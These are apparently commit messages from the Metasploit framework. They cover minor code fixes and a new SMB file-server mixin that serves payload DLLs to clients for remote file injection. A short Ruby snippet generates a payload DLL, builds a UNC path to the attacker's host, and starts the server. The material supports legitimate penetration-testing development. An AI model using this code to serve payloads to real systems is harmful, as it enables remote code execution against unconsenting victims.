* The use of www.metasploit.com in a datastore option results in a DNS lookup (infoleak). Switch to 8.8.8.8 (TTL=1)
* The hackey code around #each_packet is no longer necessary in newer Ruby versions
* The arp()/probe_gateway() calls to inject_reply() had broken logic leading to early exit and missed replies
* The arp() function now tries up to three times to get a reply (helpful with lossy L2)
* GC.start is extraneous and should be removed
* Increased timeouts
* Doc comments wrap at 78 chars to follow yardoc convention
* Remove unused :server and SERVER vals
* Use Utils class directly
* Stop server within an ensure
* Change SRVHOST to an OptAddress
In order to accomplish remote file injection (e.g. DLL) this module
emulates an SMB service process to allow clients to load a file from a
network share.
This commit implements the SMBFileServer exploit module utilising the
::Rex::Proto::SMB::Server module to export the "start_smb_server"
function.
Utilising the module (example):
include Msf::Exploit::Remote::SMBFileServer
exe = generate_payload_dll
@exe_file = rand_text_alpha(7) + ".dll"
@share = rand_text_alpha(5)
my_host = (datastore['SRVHOST'] == '0.0.0.0') ?
Rex::Socket.source_address : datastore['SRVHOST']
@unc = "\\#{my_host}\#{@share}\#{@exe_file}"
start_smb_server(@unc, exe, @exe_file)
// Inject DLL
handle
A separate commit will provide a sample implementation of utilising this
module within a generic webserver DLL injection exploit:
./exploits/windows/http/generic_http_dllinject.rb
jvazquez-r7